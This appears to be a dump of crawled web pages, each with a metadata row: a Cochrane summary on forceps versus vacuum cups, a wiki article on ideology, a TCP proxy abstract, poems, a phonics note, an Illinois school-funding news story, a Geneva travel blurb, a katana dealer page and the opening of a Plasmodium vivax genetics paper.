Twelve studies involving 3129 women compared any type of forceps with any vacuum cup. Forceps were more likely to achieve vaginal birth, but with a greater number of perineal tears including those affecting the anus or rectum (both low-certainty evidence). The was no evidence of a difference in rates of postpartum haemorrhage (heavy bleeding after birth) between groups (low-certainty evidence). There was no evidence of difference in the chances of low Apgar scores (a scoring system used to assess the baby's well-being at 1 and 5 minutes to determine how well they are coping after the birth) and low umbilical artery pH (blood test from the cord to assess the baby's oxygen levels immediately before birth) (both low-certainty evidence). Women who had forceps had higher pain relief requirements, although babies were less likely to be jaundiced.
Two small studies in 218 women compared low forceps to any vacuum cup, but most of the evidence was of very low certainty, so we could draw no meaningful conclusion.
Nine studies involving 1148 women compared rigid cups with soft cups and found that rigid cups may be more likely to result in a successful delivery (low-certainty evidence), whilst there is probably no evidence of a difference in the rates of perineal tears affecting the anus or rectum or postpartum haemorrhages (low- and moderate-certainty evidence). In addition there is no evidence of a difference in the rates of low Apgar and low umbilical artery pH (low-certainty evidence).
In four studies with a total of 962 women we found no evidence of difference in the chances of a failed delivery between the handheld vacuum-cup group compared to the standard vacuum-cup devices (low-certainty evidence). In addition there was no evidence of differences in the risk of maternal rectal tissue trauma (low-certainty evidence). Finally, there was no evidence of difference in the rates of postpartum haemorrhage, low umbilical artery pH or low Apgar between the two groups (low-certainty evidence).
What does this mean?
The decision on which instrument to use is multifactorial and needs to consider the skills and resources available and the urgency for the birth. The clinician needs to choose the instrument that is most likely to achieve a successful birth with the least trauma to the mother and baby.
This review provides low-certainty evidence that forceps may be more likely to achieve vaginal birth and have lower rates of fetal trauma, but at a greater risk of perineal trauma and higher pain relief requirements compared with vacuum cups. There was low-certainty evidence that rigid vacuum cups may be more likely to achieve a vaginal birth than soft cups but with more fetal trauma, whilst handheld vacuum cups had similar success rates compared to other cups. There was no evidence of a difference in the rates of third- or fourth-degree tears or postpartum haemorrhages between types of cups, but wide confidence intervals around the estimates indicate further research is needed in this area.
Assisted vaginal births are carried out to expedite birth for the benefit of mothers and babies but are sometimes associated with significant morbidity for both. Various instruments are available, broadly divided into forceps and vacuum cups, and choice may be influenced by clinical circumstances, operator preference, experience and availability.
To evaluate the different instruments in terms of success in achieving a vaginal birth, and the risk of morbidity for mother and baby.
We selected randomised controlled trials of assisted vaginal birth using different instruments. The review did not include quasi-randomised trials, cluster-randomised trials or cross-over designs. The review included trials for which abstracts alone were available as long as there was sufficient information to assess eligibility.
We used standard Cochrane methods. We used the GRADE approach to assess the certainty of evidence. The main outcomes assessed included failed delivery with allocated instrument, any maternal trauma, third- and fourth-degree tears, postpartum haemorrhage, any neonatal trauma, low Apgar and low umbilical artery pH.
We included 31 studies involving a total of 5754 women. Risk of bias criteria were largely assessed as 'unclear', due to a lack of detail in trial reports. Blinding would have been challenging for all trials due to their inability to conceal the type of instrument used from either the woman or the operator, which is reflected in the risk of bias assessment.
Any type of forceps versus any type of vacuum cup (12 studies, 3129 women)
Forceps may be less likely to fail in achieving vaginal birth: risk ratio (RR) 0.58, 95% confidence interval (CI) 0.39 to 0.88; 11 studies, 3080 women; low certainty. 'Any maternal trauma' may be slightly more likely with forceps: odds ratio (OR) 1.53, 95% CI 0.98 to 2.40; 5 studies, 1356 women; low certainty; and third- or fourth-degree tears may also be more likely with forceps: RR 1.83, 95% CI 1.32 to 2.55; 9 studies, 2493 women; low certainty. There is no evidence of a difference in the incidence of postpartum haemorrhage (PPH) between the two groups: RR 1.71, 95% CI 0.59 to 4.95; 2 studies, 523 women; low certainty, because the evidence is very imprecise due to a very wide CI. More women in the forceps group reported requiring pain relief.
There is probably no evidence of difference in rates of low Apgar: RR 0.83, 95% CI 0.46 to 1.51; 7 studies, 1644 women; moderate certainty; or low umbilical artery pH in the forceps group compared to any vacuum: RR 1.33, 95% CI 0.91 to 1.93; 2 studies, 789 women; low certainty; both of these outcomes are imprecise and have wide CIs that include both benefit and harm. There were also lower rates of fetal trauma with 'any forceps' (cephalhematoma, retinal haemorrhage and jaundice).
The composite outcome of 'any neonatal trauma' was not reported.
Low-cavity forceps versus any vacuum cup (2 studies, 218 women)
We included two small studies with 218 participants in this comparison, but we judged most of the evidence as very low certainty, hence it was not feasible to make judgements on the difference in the rates of failed delivery, any maternal trauma or third- and fourth- degree tears. PPH and low umbilical artery pH were not reported.
Soft vacuum cup versus any rigid cup (9 studies, 1148 women)
Failed delivery may be more likely in the soft vacuum cup group: RR 1.62, 95% CI 1.21 to 2.17; 9 studies, 1148 women; low certainty. There may be no difference in the rates of 'any maternal trauma': OR 0.63, 95% CI 0.24 to 1.67; 2 studies, 348 women; low certainty, but the confidence interval is wide, indicating possible benefit or harm.
There may be no difference in the rates of third- or fourth-degree tears: RR 0.93, 95% CI 0.35 to 2.44; 4 studies, 619 women; low certainty. There is probably no difference in the rates of PPH: RR 0.89, 95% CI 0.49 to 1.61; 5 studies, 737 women; moderate certainty between the soft and rigid cup groups.
There may be little or no difference in the incidence of low Apgar scores: RR 0.82, 95% CI 0.49 to 1.37; 9 studies, 1148; low certainty; or low umbilical artery pH: RR 0.80, 95% CI 0.47 to 1.36; 1 study, 100 women; low certainty.
Handheld vacuum versus any vacuum cup (4 studies, 968 women)
There may be no difference in the rates of failures with allocated instrument: RR 1.35, 95% CI 0.81 to 2.25; 4 studies, 962 women; low certainty, any maternal trauma: OR 1.16, 95% CI 0.71 to 1.88; 2 studies; 394 women; low certainty, PPH: RR 0.31, 95% CI 0.03 to 2.92; 1 study, 164 women; low certainty, low umbilical artery pH: RR 1.06, 95% CI 0.71 to 1.59; 1 study, 164 women; low certainty, or low Apgar scores: RR 1.25, 95% CI 0.34 to 4.61; 3 studies, 784 women; low certainty) between the two groups.
There is probably no difference in the rates of third- or fourth-degree tears between the 'handheld vacuum' and 'any vacuum cup' groups: RR 1.15, 95% CI 0.62 to 2.12; 4 studies, 962 women; moderate certainty. | <urn:uuid:5fe708df-1d6b-4347-90bc-7b0a10ab58ee> | CC-MAIN-2022-33 | https://www.cochrane.org/CD005455/PREG_instruments-assisted-vaginal-birth | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570692.22/warc/CC-MAIN-20220807181008-20220807211008-00673.warc.gz | en | 0.936577 | 2,218 | 3.0625 | 3 |
Individual differences |
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Philosophy Index: Aesthetics · Epistemology · Ethics · Logic · Metaphysics · Consciousness · Philosophy of Language · Philosophy of Mind · Philosophy of Science · Social and Political philosophy · Philosophies · Philosophers · List of lists
An ''ideology'' is an organized collection of ideas. The word ideology was coined by Count Destutt de Tracy in the late 18th century to define a "science of ideas." An ideology can be thought of as a comprehensive vision, as a way of looking at things (compare Weltanschauung), as in common sense (see Ideology in everyday society) and several philosophical tendencies (see Political ideologies), or a set of ideas proposed by the dominant class of a society to all members of this society.
Ideology in everyday society
In public discussions, some ideas seem to arise more commonly than others. Indeed, often completely separate people may be found to think alike in startling ways. For social scientists, one way of explaining such instances of common opinion is the presence of an ideology.
Every society has an ideology that forms the basis of the "public opinion" or common sense, a basis that usually remains invisible to most people within the society. This dominant ideology appears as "neutral", holding to assumptions that are largely unchallenged. Meanwhile, all other ideologies that differ from the dominant ideology are seen as radical, no matter what the content of their actual vision may be. The philosopher Michel Foucault wrote about the concept of apparent ideological neutrality. Ideology is not the same thing as philosophy. Philosophy is a way of living life, meanwhile ideology is an almost ideal way of life for society. Some attribute to ideology positive characteristics like vigor and fervor; or negative features like excessive certitude and fundamentalist rigor.
Organisations that strive for power will try to influence the ideology of a society to become closer to what they want it to be. Political organisations (governments included) and other groups (e.g. lobbyists) try to influence people by broadcasting their opinions.
When most people in a society think alike about certain matters, or even forget that there are alternatives to the current state of affairs, we arrive at the concept of Hegemony, about which the philosopher Antonio Gramsci wrote. The much smaller scale concept of groupthink also owes something to his work. Modern linguists study the mechanism of conceptual metaphor, by which this 'thinking alike' is thought to be transmitted.
History of the concept of ideology
Perhaps the most accessible source for the original meaning of "ideology" is Hippolyte Taine's work on the Ancien Regime (first volume of "Origins of Contemporary France"). He describes ideology as rather like teaching philosophy by the Socratic method, but without extending the vocabulary beyond what the general reader already possessed, and without the examples from observation which practical science would require. Taine identifies it not just with Destutt de Tracy, but with his milieu, and includes Condillac as one of its precursors.
The word "ideology" was coined long before the Russians coined "intelligentsia", or before the adjective "intellectual" referred to a sort of person (a substantive). Thus these words were not around when the hard-headed, driven Napoleon Bonaparte took the word "ideologues" to ridicule his intellectual opponents. Gradually, however, the term "ideology" has dropped some of its critical sting, and has become a neutral term in the analysis of differing political opinions. Ideological references are important to many people throughout the world
The analysis of ideology
Meta-ideology is the study of the structure, form, and manifestation of ideologies. Meta-ideology posits that ideology is a coherent system of ideas, relying upon a few basic assumptions about reality that may or may not have any factual basis, but are subjective choices that serve as the seed around which further thought grows. According to this perspective, ideologies are neither right nor wrong, but only a relativistic intellectual strategy for categorizing the world. The pluses and minuses of ideology range from the vigor and fervor of true believers to ideological infallibleness. Excessive need for certitude lurks at fundamentalist levels in politics, religions, and elsewhere. It is not only the Catholic pope or other believers who consider themselves in some ways infallible. Assumptions of infallibility can be detected among anti-religious skeptics as well, as explained in "Skepticism and Agnosticism as Ideology" at Roderick Hindery's website on Propaganda vs Critical Thought.
David W. Minar describes six different ways in which the word "ideology" has been used:
- As a collection of certain ideas with certain kinds of content, usually normative;
- As the form or internal logical structure that ideas have within a set;
- By the role in which ideas play in human-social interaction;
- By the role that ideas play in the structure of an organization;
- As meaning, whose purpose is persuasion; and
- As the locus of social interaction, possibly.
For Willard A. Mullins, an ideology is composed of four basic characteristics: it must have power over cognitions; it must be capable of guiding one's evaluations; it must provide guidance towards action; and, as stated above, must be logically coherent. Mullins emphasizes that an ideology should be contrasted with the related (but different) issues of utopia and historical myth.
The German philosopher Christian Duncker called for a "critical reflection of the ideology concept" (2006). In his work, he strove to bring the concept of ideology into the foreground, as well as the closely connected concerns of epistemology and history. In this work, the term ideology is defined in terms of a system of presentations that explicitly or implicitly claim to absolute truth.
Karl Marx proposed a base/superstructure model of society. The base refers to the means of production of society. The superstructure is formed on top of the base, and comprises that society's ideology, as well as its legal system, political system, and religions. For Marx, the base determines the superstructure. Because the ruling class controls the society's means of production, the superstructure of society, including its ideology, will be determined according to what is in the ruling class's best interests. Therefore the ideology of a society is of enormous importance since it confuses the alienated groups and can create 'false consiousness' such as the fetish for commodities. Critics of the Marxist approach feel that it attributes too much importance to economic factors in influencing society.
The ideologies of the dominant class of a society are proposed to all members of that society in order to make the ruling class' interests appear to be the interests of all. György Lukács describes this as a projection of the class consciousness of the ruling class, while Antonio Gramsci advances the theory of cultural hegemony to explain why people in the working-class can have a false conception of their own interests.
The dominant forms of ideology in capitalism are (in chronological order):
- classical liberalism
- social democracy
and they correspond to the stages of development of capitalism:
- extensive stage
- intensive stage
- contemporary capitalism (or late capitalism, or current crisis)
The Marxist view of ideology as an instrument of social reproduction has been an important touchstone for the sociology of knowledge and theorists such as Karl Mannheim, Daniel Bell and Jürgen Habermas amongst many others. However, Mannheim attempted to move beyond what he saw as the 'total' but 'special' Marxist conception of ideology to a 'general' and 'total' conception which acknowledged that all ideologies resulted from social life (including Marxism). This idea has been extensively developed by Pierre Bourdieu.
Louis Althusser's Ideological State Apparatuses
Louis Althusser proposed a materialist conception of ideology, which made use of a special type of discourse: the lacunar discourse. A number of propositions, which are never untrue, suggest a number of other propositions, which are. In this way, the essence of the lacunar discourse is what is not told (but is suggested).
For example, the statement 'All are equal before the law', which is a theoretical groundwork of current legal systems, suggests that all people may be of equal worth or have equal 'opportunities'. This is not true, because the concept of private property over the means of production results in some people being able to own more (much more) than others, and their property brings power and influence (the rich can afford better lawyers, among other things, and this puts in question the principle of equality before the law).
Althusser also invented the concept of Ideological State Apparatuses to explain his theory of ideology. His first thesis was that "Ideology has no history": since the epistemological break is a continuous process, and not a determined event, science and philosophy must always struggle against ideology, which is, according to Marx, defined as the reproduction of the possibilities of production. His second thesis, "Ideas are material", explains his materialist attitude, which he illustrated with the "scandalous advice" of Pascal toward unbelievers: "kneel and pray, and then you will believe", thus reversing the primacy of idealism toward materialism. However, this mustn't be misunderstood as simple behaviorism, as there may be, as Pierre Macherey put it, a "subjectivity without subject"; in other words, a form of non-personal liberty, as in Deleuze's conception of becoming-other.
Feminism as critique of ideology
Naturalizing socially constructed patterns of behavior has always been an important mechanism in the production and reproduction of ideologies. Feminist theorists have paid close attention to these mechanisms. Adrienne Rich e.g. has shown how to understand motherhood as a social institution.
- Main article: Political ideology
In social studies, a political ideology is a certain ethical, set of ideals, principles, doctrines, myths or symbols of a social movement, institution, class, or large group that explain how society should work, and offer some political and cultural blueprint for a certain social order. A political ideology largely concerns itself with how to allocate power and to what ends it should be used. It can be a construct of political thought, often defining political parties and their policy. Studies of the concept of ideology itself (rather than specific ideologies) have been carried out under the name of systematic ideology.
Political ideologies regard policies of many different aspects of a society, the most central of which are: economy, education, criminal law, management of criminals, minors, animals, environment, immigration, eugenics, race, use of the military, forced nationalism, and forced religion.
List of political ideologies
There are many proposed methods for the classification of political ideologies. See the political spectrum article for a more in-depth discussion of these different methods (each of whom generates a specific political spectrum).
The following list attempts to divide ideologies into a number of groups; each group contains ideologies that have a certain theme or idea in common. Note that one ideology can belong to several groups, and there is sometimes considerable overlap between related ideologies.
Ideologies emphasizing class struggle
- Left communism
- Council communism
- Western Marxism
Ideologies emphasizing the individual
- Libertarian socialism
- Individualist anarchism
Ideologies emphasizing the collective
- Social democracy
- Religious communism
- Christian communism
- Religious communism
Ideologies emphasizing ethnicity or nationality
- Ethnic supremacy
- Clerical fascism
- Racism, Racialism
Ideologies emphasizing tradition
- Christian democracy
- Liberal conservatism
- Social conservatism
Ideologies based on religion
- Christian-based ideologies
- Christian anarchism
- Christian communism
- Christian socialism
- Christian democracy
- Clerical fascism
- Hindu-based ideologies
- Hindu nationalism
- Islam-based ideologies
- Islamism, Muslim fundamentalism
- Jewish-based ideologies
- Religious zionism
- Communalism (South Asia)
- Religious communism
- Religious socialism
Foreign policy ideologies
- New humanism
- Economic liberalism
- Consistent Life Ethic
- Militarist ideology
- Green politics
- Animal welfarism
- Minorities defence, Minoritarianism
- Pensioners' defence
Even when the challenging of existing beliefs is encouraged, as in science, the dominant paradigm or mindset can prevent certain challenges, theories or experiments from being advanced. The philosophy of science mostly concerns itself with reducing the impact of these prior ideologies so that science can proceed with its primary task, which is (according to science) to create knowledge.
There are critics who view science as an ideology in itself, or being an effective ideology, called scientism. Some scientists respond that, while the scientific method is itself an ideology, as it is a collection of ideas, there is nothing particularly wrong or bad about it.
Other critics point out that while science itself is not a misleading ideology, there are some fields of study within science that are misleading. Two examples discussed here are in the fields of ecology and economics.
A special case of science adopted as ideology is that of ecology, which studies the relationships between living things on Earth. Perceptual psychologist J. J. Gibson believed that human perception of ecological relationships was the basis of self-awareness and cognition itself. Linguist George Lakoff has proposed a cognitive science of mathematics wherein even the most fundamental ideas of arithmetic would be seen as consequences or products of human perception - which is itself necessarily evolved within an ecology.
Deep ecology and the modern ecology movement (and, to a lesser degree, Green parties) appear to have adopted ecological sciences as a positive ideology.
Some accuse ecological economics of likewise turning scientific theory into political economy, although theses in that science can often be tested. The modern practice of green economics fuses both approaches and seems to be part science, part ideology.
This is far from the only theory of economics to be raised to ideology status - some notable economically-based ideologies include mercantilism, social darwinism, communism, laissez-faire economics, and "free trade".
- Mullins, Willard A. (1972) "On the Concept of Ideology in Political Science." The American Political Science Review. American Political Science Association.
- Minar, David M. (1961) "Ideology and Political Behavior", Midwest Journal of Political Science. Midwest Political Science Association.
- Hindery, Roderick, Indoctrination and Self-deception or Free and Critical Thought? 2001,esp. Ch.4.
- Hindery, Roderick,Skepticism and Agnosticism as Ideology,http://www.public.asu.edu/~sheilrod/
- Hawkes, David (2003) Ideology (2nd ed.), Routledge, ISBN 0-415-29012-0
- Minogue, Kenneth (1985) Alien Powers: The Pure Theory of Ideology, Palgrave Macmillan, ISBN 0312018606
Anarchism | Authoritarianism | Capitalism | Christian democracy | Communism | Communitarianism | Conservatism | Fascism | Feminism | Green politics | Islamism | Liberalism | Libertarianism | Masculism | Nationalism | Social democracy | Socialism
Relationship to Political Parties: Ideologies of parties | Parties by ideology
|This page uses Creative Commons Licensed content from Wikipedia (view authors).| | <urn:uuid:60a23bf4-0296-4ed3-aeeb-d9d0af4fdf27> | CC-MAIN-2022-33 | https://psychology.fandom.com/wiki/Ideology | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570692.22/warc/CC-MAIN-20220807181008-20220807211008-00673.warc.gz | en | 0.920221 | 3,533 | 3.265625 | 3 |
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Effect of Premature ACK Transmission Timing on Throughput in TCP with a Performance Enhancing Proxy
IEICE TRANSACTIONS on Communications
Publication Date: 2007/01/01
Online ISSN: 1745-1345
Print ISSN: 0916-8516
Type of Manuscript: PAPER
TCP, performance enhancing proxy, PEP, premature ACK, watermark,
Full Text: PDF>>
In order to improve TCP performance, the use of a PEP (Performance Enhancing Proxy) has been proposed. The PEP operates on a router along a TCP connection. When a data packet arrives at the PEP, it forwards the packet to the destination host, transmits the corresponding ACK (premature ACK) to the source host on behalf of the destination host, and stores a copy of the packet in a local buffer (PEP buffer) in case the packet needs to be retransmitted. In this paper, in accordance with a strategy that keeps the number of prematurely acknowledged packets in the PEP buffer below a fixed threshold (watermark) value, we investigate the relation between the watermark value and the average throughput. Extensive simulations show that the results can be roughly classified into two cases. In the first case, the average throughput becomes larger for larger watermark values and becomes a constant value when the watermark value is over a certain value. In the second case, although the average throughput becomes larger for lager watermark value in the same way, it decreases when the watermark value is over a certain value. We also show that the latter (former) case can occur more easily as the propagation delay in the input side network of the PEP becomes smaller (larger) and the propagation delay in the output side network of the PEP becomes larger (smaller), and also show that the latter (former) case can occur more easily as the transmission speed in the input side network becomes larger (smaller) and the transmission speed in the output side network becomes smaller (larger) while the PEP buffer capacity becomes smaller (larger). | <urn:uuid:aea638e4-1baf-4c6d-bf2b-39bc862af555> | CC-MAIN-2022-33 | https://search.ieice.org/bin/summary.php?id=e90-b_1_31&category=B&lang=&year=2007&abst= | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570879.37/warc/CC-MAIN-20220809003642-20220809033642-00673.warc.gz | en | 0.870586 | 573 | 1.828125 | 2 |
A myth around junipers
a stranger reinvents the world / the mother of vinegar growing under
grandmother’s sink / passed down / made again in a different flavor /
passing between the junipers / tells me before a country was called a
country / there was a pattern of juniper roots / buried beneath stone like a
musical coda of a sonata / appending something thought finished / gives
way to silence // tells me about his grandmother’s cooking / how she’d sub
butter for bacon grease in her oatmeal cookies / that that’s what Jesus eats
for breakfast / and I liked that myth best // as the old saying goes no one
wants to get too close to the old cowdog because they know he’s got one
good bite left and by old saying I mean I heard it from a pastor as our
horses cut between the junipers / and doesn’t that just sound like a rib taken
straight from a sleeping man and planted in volcanic soil?
Portrait of sound as the old man whose child you are carrying
after Richard Siken
Tell me about the dream where the man with whiskey breath
eats apple slices off the switchblade
of youth so as not to die but revive in spurts
they call waves
they call hunger.
Yes, I mean to say sound is hungry for itself, for its echo
just as the frosted window begs to be drawn on, to be given a face.
Tell me about the dream with the leather-skinned sunbather
maddened by cloud cover.
The one that decides to dip itself in the pool of someone else’s voice
hoping its body will mold to its damp shell of old age
and leave a younger part of itself in the water—
muscle memory for the next generation—
so that when the sun comes once again it will harden and set
the speech bones of tongue.
Tell me about the dream where you leave him naked
as a message-less bottle
or diner napkin note to younger self found in the couch cushions
a one-night stand too unceremonious to pique the interest of the censors of vibrating air
the milieu of sand crabs shifting worlds
the echocardiogram of the beach, the pulse of sound marked by pin holes
of feathered antennae peeking through the grained curtains
hungry to sieve the plankton of words drawn in by the tide.
Tell me about the dream where you’re squatting off the front of a boat
and the sound of your water breaking
the ocean’s quiet is deafening. | <urn:uuid:a9cbed52-3a26-40cc-ace2-270a7f49ce29> | CC-MAIN-2022-33 | https://www.hobartpulp.com/web_features/two-poems-f834b594-a640-404c-a4a2-e8116abcc91a | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570879.37/warc/CC-MAIN-20220809003642-20220809033642-00673.warc.gz | en | 0.912959 | 567 | 1.671875 | 2 |
PowerPoint to aid the learning of initial sounds bl; br; cl; cr.At the beginning of the week we dicuss our 'blends of the week'. Each day a new blend is learned. We use the PowerPoint page specific to the blend. Sound out the words together and then think of our own. THe children love it and see it as a game rather than learning. | <urn:uuid:5e35ef0c-5918-456c-bb8b-1c2ad859a9e8> | CC-MAIN-2022-33 | https://sharemylesson.com/teaching-resource/initial-blends-bl-br-cr-cl-141304 | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570879.37/warc/CC-MAIN-20220809003642-20220809033642-00673.warc.gz | en | 0.918114 | 83 | 2.796875 | 3 |
At long last, Illinois has tossed its old method of funding schools in exchange for a formula that aims to send more state money to the poorer districts that need it most.
Despite having called a previous incarnation of the plan a “bailout” for Chicago Public Schools, Gov. Bruce Rauner chose CPS’s Ebinger Elementary School in Edison Park to sign Senate Bill 1947 into law. The measure gives CPS an estimated $450 million—$150 more than the measure he’d vetoed, Senate Bill 1.
“It’s a good bill. It’s a compromise bill. We got a best-in-the-nation education funding formula. We got regulatory relief, unfunded mandate relief for our schools so the teachers can teach without a lot of restrictions. We got a lot of opportunity for homeowners in school districts that are um, adequately funded, to reduce their property taxes. That’s a really big deal. We got opportunity for more school choice for low-income families who would like the opportunity to choose a school the way higher-income families can,” Rauner said after the Thursday ceremony, by way of explaining what he got out of it in exchange. “There are many wonderful things in this bill.”
While Republicans joined with Democrats to pass the package in large part because of the school choice component, that’s also what pushed other lawmakers to vote no on the measure. It has also attracted the most scrutiny – scrutiny that was never given a true public airing via the regular legislative process: The 550-page bill was filed Monday morning, passed both chambers of the General Assembly by Tuesday evening and on Thursday afternoon was signed into law.
Critics, including the vocal Chicago Teachers Union, say it’s a vouchers program in disguise; a scam, benefitting wealthy donors to the detriment of public education.
“It has the massive ability to radically destabilize public schools going forward,” CTU Vice President Jesse Sharkey said. “You don’t build a new machine for school funding and then attach a time bomb to it. And I know that sounds kind of hyperbolic but the truth of the matter is that we see vouchers as very much a time bomb. And something that will undermine the exact intent of the legislation in the first place.”
CTU is contemplating a lawsuit challenging the tax scholarship program. A spokesman says the union’s lawyers are contemplating constitutional and civil rights issues, and well as a clause in the measure which ties the scholarship program to its copious other changes, meaning that if one provision of the bill is killed off in court the rest would likely die with it.
Supporters, including Cardinal Blase Cupich of the Archdiocese of Chicago, hail it as a means of helping kids from low-income families to access the same private schools as children who grow up in wealthier households.
“The most important decision a parent makes about their children is where they’re going to go to school,” Cupich said Thursday.
Cupich was an instrumental broker in bringing battling politicians toward compromise, and says that by educating some 150,000 students statewide, Catholic schools are saving Illinois approximately $2 billion a year.
The Illinois State Board of Education says it will begin to process the paperwork needed for schools to receive their delayed General State Aid, which should have gone out Aug. 10 and 20 but was delayed because the budget made aid contingent on passing of a new evidence-based funding formula. ISBE Superintendent Tony Smith said in a statement that schools should expect to receive that money within a week.
Follow Amanda Vinicky on Twitter: @AmandaVinicky
Aug. 30: What role should the state have in private school education? A look at Illinois’ plan and how other states run the controversial program.
Aug. 29: The Illinois Senate has passed a new education funding measure that Gov. Bruce Rauner said he will sign into law.
Aug. 24: After days of meetings and months of debate, an agreement has been reached on a new education funding reform in Springfield. | <urn:uuid:a60e786c-7932-4432-abc3-634bf7b187bf> | CC-MAIN-2022-33 | https://news.wttw.com/2017/08/31/education-overhaul-becomes-law-scholarship-plan-attracts-scrutiny | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570879.37/warc/CC-MAIN-20220809003642-20220809033642-00673.warc.gz | en | 0.965854 | 856 | 1.625 | 2 |
Ideal duration: 2-3 days
Best Time: June to August, as this is considered to be off season and the weather is ideal for a spot of sight Read More
Planning a Trip? Ask Your Question
Considered to be the second most populated city in Switzerland, Geneva is charmingly scattered around the beautiful Lake Geneva, at the mouth of River Rhone. It is also guarded by Alpine peaks and the hills of Jura. This metropolitan city is also blessed with plenty of natural beauty, depending on where you choose to go! Geneva also holds the seat for the UNO in Europe, which only serves to elevate its prestige.
Popularly known as the 'city of peace', Geneva is Switzerland's second largest city, and with good reason. This is a city that clubs architecture and art with nature and natural beauty. French is spoken here on a large scale. However, the locals can also converse in other languages such as English, Italian and Spanish. The postcard perfect city is largely known for its jet d'eau. The jet d'eau, located on the edges of Lake Geneva, is a large water jet or a fountain and can be spotted from anywhere across the city. Geneva is also a city steeped in culture and always hosts a number of exhibitions and trade fairs. And when one speaks of Switzerland, talking about watches becomes essential! Geneva boasts of an extremely famous symbol that represents its watch industry - the Horloge Fleuri, or the flower clock. The mere backdrop of Geneva, with its majestic mountains fringed by Lake Geneva, is reason enough to draw in tourists by the dozen.
Compare quotes from upto 3 travel agents for free
$ 31 onwards
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$ 37 onwards | <urn:uuid:efd7ea9a-6fc6-4722-a694-e0dd44fb7df1> | CC-MAIN-2022-33 | https://www.holidify.com/places/geneva#howToReach | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570879.37/warc/CC-MAIN-20220809003642-20220809033642-00673.warc.gz | en | 0.972299 | 375 | 1.523438 | 2 |
To know the Japanese sword - katana -
is to know the culture and tradition of Japan.
The katana is a symbol of the Japanese spirit,
a work of art that Japan has given to the world.
Our mission is to preserve these cultural artefacts for the next generation, so that they might understand and appreciate the legacy of the katana.
Pass on the legacy of the katana to future generations; contribute to the preservation of these cultural assets.
Find out more about Kuraya Hashimoto: Purveyor of Fine Japanese Antique and Contemporary Katana Swords.
How to care for the blade of your Japanese katana sword
In order to protect the blade of your katana, you are going to replace a film of older oil with a new coat of oil – it is this oil coat that prevents the blade from rusting.
Please ensure you have all the items to perform maintenance on your sword blade and be sure to follow the steps in order.
We need to learn how to perform proper maintenance on these swords so that future generations can enjoy and appreciate these cultural assets.
How to care for your Japanese katana sword
Blade maintenance is very important to preserve the finish of your sword.
- Sale of Antique Japanese katana Swords
- Sale of New/Modern Swords
- Polishing, Repair and Restoration of Swords
- Swords for Iaido
- Swords for Display
- Items related to Japanese katana Swords
Established in 1968
We are a multi-generational family enterprise;
our business is based on trust and mutual respect
Points to note when it comes to sword care
Katana are a cultural asset and an item of sublime beauty – not just for the Japanese but for all humanity.
Incorrect maintenance and poor storage conditions can lead to damage to the blade, which can then in turn lead to injuries to the owner or to other people.
Please learn how to perform proper maintenance on these swords so that future generations can enjoy and appreciate these cultural assets.
Ask Your Queries
Ask Your Queries
Send us an email with your questions. | <urn:uuid:a65d434c-b30e-400c-8a10-0482de70427d> | CC-MAIN-2022-33 | http://en.kurayahashimoto.com/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882571989.67/warc/CC-MAIN-20220813232744-20220814022744-00473.warc.gz | en | 0.909536 | 447 | 2.265625 | 2 |
- Open Access
Genetic diversity and population structure of Plasmodium vivax in Central China
Malaria Journal volume 13, Article number: 262 (2014)
In Central China the declining incidence of Plasmodium vivax has been interrupted by epidemic expansions and imported cases. The impact of these changes on the local parasite population, and concurrent risks of future resurgence, was assessed.
Plasmodium vivax isolates collected from Anhui and Jiangsu provinces, Central China between 2007 and 2010 were genotyped using capillary electrophoresis at seven polymorphic short tandem repeat markers. Spatial and temporal analyses of within-host and population diversity, population structure, and relatedness were conducted on these isolates.
Polyclonal infections were infrequent in the 94 isolates from Anhui (4%) and 25 from Jiangsu (12%), with a trend for increasing frequency from 2008 to 2010 (2 to 19%) when combined. Population diversity was high in both provinces and across the years tested (HE = 0.8 – 0.85). Differentiation between Anhui and Jiangsu was modest (F’ ST = 0.1). Several clusters of isolates with identical multi-locus haplotypes were observed across both Anhui and Jiangsu. Linkage disequilibrium was strong in both populations and in each year tested (IAS = 0.2 – 0.4), but declined two- to four-fold when identical haplotypes were accounted for, indicative of occasional epidemic transmission dynamics. None of five imported isolates shared identical haplotypes to any of the central Chinese isolates.
The population genetic structure of P. vivax in Central China highlights unstable transmission, with limited barriers to gene flow between the central provinces. Despite low endemicity, population diversity remained high, but the reservoirs sustaining this diversity remain unclear. The challenge of imported cases and risks of resurgence emphasize the need for continued surveillance to detect early warning signals. Although parasite genotyping has potential to inform the management of outbreaks, further studies are required to identify suitable marker panels for resolving local from imported P. vivax isolates.
China has made considerable progress in reducing the burden of malaria, since the launch of the National Malaria Control Programme in 1955. Despite two major outbreaks in the 1960s and 1970s, the incidence of malaria cases has dropped steadily from an estimated 6.79 million cases in 1954 to less than 15,000 in 2009 . In July 2010, the National Malaria Elimination Programme was established, with the goals to achieve elimination in all regions, except the Myanmar border region of Yunnan Province, by 2015 and nation-wide by 2020 .
Across China, marked heterogeneity is observed in malaria incidence, and in the distribution of Plasmodium vivax and Plasmodium falciparum cases. Historically, P. falciparum was endemic in the south, whilst P. vivax was more prevalent in the temperate central regions. The implementation of malaria control interventions has completely interrupted transmission of P. falciparum in Central China in the past decade. However, owing in part to the parasite’s complex transmission dynamics, ability to relapse weeks or months after initial infection, and challenges in diagnosing low parasitaemia infections, P. vivax has proven to be more difficult to eliminate than P. falciparum. With rising levels of drug resistance, and accumulating reports of severe, life-threatening disease, P. vivax continues to present a major public health threat [4–7]. In the early 2000s, outbreaks of P. vivax infection in the Central China provinces of Anhui, Jiangsu and Henan highlighted the risk of resurgence, and the importance of maintaining a strong surveillance system . The regions along the Huai River were most affected by the resurgence, particularly in Anhui Province (2000-2006), which accounted for more than half of the total annual malaria cases in China in those years . Although the number of P. vivax cases in Central China has declined steadily since 2006, the threat of future resurgence remains.
